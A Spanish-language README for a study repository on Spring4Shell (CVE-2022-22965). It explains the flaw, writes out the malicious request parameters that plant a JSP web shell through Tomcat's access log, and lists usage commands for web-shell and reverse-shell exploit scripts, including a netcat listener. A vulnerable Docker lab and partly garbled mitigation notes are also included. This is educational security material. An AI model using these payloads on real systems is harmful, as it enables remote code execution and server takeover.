
Descripción
Aviso legal: Este repositorio está destinado únicamente a fines educativos y de investigación. Todos los scripts de exploit deben utilizarse exclusivamente contra sistemas que posea o para los que tenga permiso explícito por escrito para realizar pruebas. El autor no se hace responsable de ningún uso indebido o daño causado por este material.
Estudio y prueba de concepto para CVE-2022-22965, una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en Spring Framework, divulgada públicamente en abril de 2022.
Spring4Shell afecta a las aplicaciones Spring MVC y Spring WebFlux cuando se cumplen todas las siguientes condiciones:
| Condición | Valor |
|---|
| Versión de JDK | 9 o superior |
| Servidor de aplicaciones | Apache Tomcat |
| Empaquetado | WAR (no JAR ejecutable) |
| Spring Framework | < 5.3.18 o < 5.2.20 |
El mecanismo de enlace de datos de Spring permite que los parámetros de las solicitudes HTTP se asignen a las propiedades de los objetos Java usando notación de puntos (por ejemplo, user.name=foo). La vulnerabilidad surge porque este recorrido no está restringido adecuadamente: un atacante puede alcanzar el ClassLoader de la JVM a través de la jerarquía de clases del objeto modelo:
class.module.classLoader.resources.context.parent.pipeline.first.<property>
Esta ruta alcanza el AccessLogValve de Tomcat, cuya configuración de registro se puede manipular en tiempo de ejecución. Al modificar propiedades como pattern, directory, prefix y suffix, el atacante redirige el registro de acceso de Tomcat para escribir un archivo con extensión .jsp que contiene código JSP arbitrario, plantando efectivamente un web shell en el servidor.
1. POST /vulnerable
class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
2. Tomcat writes the access log to webapps/ROOT/shell.jsp with the injected payload
3. GET /shell.jsp?cmd=id → RCE
.
├── exploits/
│ ├── exploit1.py # POST-based web shell with password protection
│ ├── exploit2.py # POST-based web shell with reset capability
│ ├── exploit3.py # GET-based variant (simplified)
│ ├── exploit4.py # Reverse TCP shell (GET-based)
│ └── exploit4b.py # Reverse TCP shell (POST-based)
└── springmvc5-helloworld-example/
├── Dockerfile # Uses pre-built tomcat:9.0.60 image
├── Dockerfile2 # Builds from openjdk:11 + downloads Tomcat
├── pom.xml # Maven project — Spring MVC 5.3.17 (vulnerable)
└── src/ # Vulnerable Spring MVC application source
| Script | Método | Payload | Notas |
|---|---|---|---|
exploit1.py | POST | Web shell (protegido por contraseña) | Solicitud única |
exploit2.py | POST | Web shell | Restablece la configuración del registro antes/después del exploit |
exploit3.py | GET | Web shell (sin contraseña) | Parámetros en la cadena de consulta |
exploit4.py | GET | Shell TCP inverso | Payload JSP basado en msfvenom |
exploit4b.py | POST | Shell TCP inverso | Mismo payload que exploit4, variante POST |
# Web shell
python3 exploits/exploit1.py http://target:8080/vulnerable
# Reverse shell (start listener first: nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444
sudo apt install maven o sudo dnf install maven)cd springmvc5-helloworld-example
mvn clean package
# Option 1 — pre-built Tomcat image
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell
# Option 2 — build from openjdk + download Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell
La aplicación estará disponible en http://localhost:8082/vulnerable.
WebDataBinder.setDisallowedFields() para bloquear el enlace de classLoaderclass., Class., module. o classLoaderInvestigación original y código de exploit por @march0n. Este repositorio es un estudio personal de la vulnerabilidad con fines de aprendizaje, con documentación y análisis adicionales.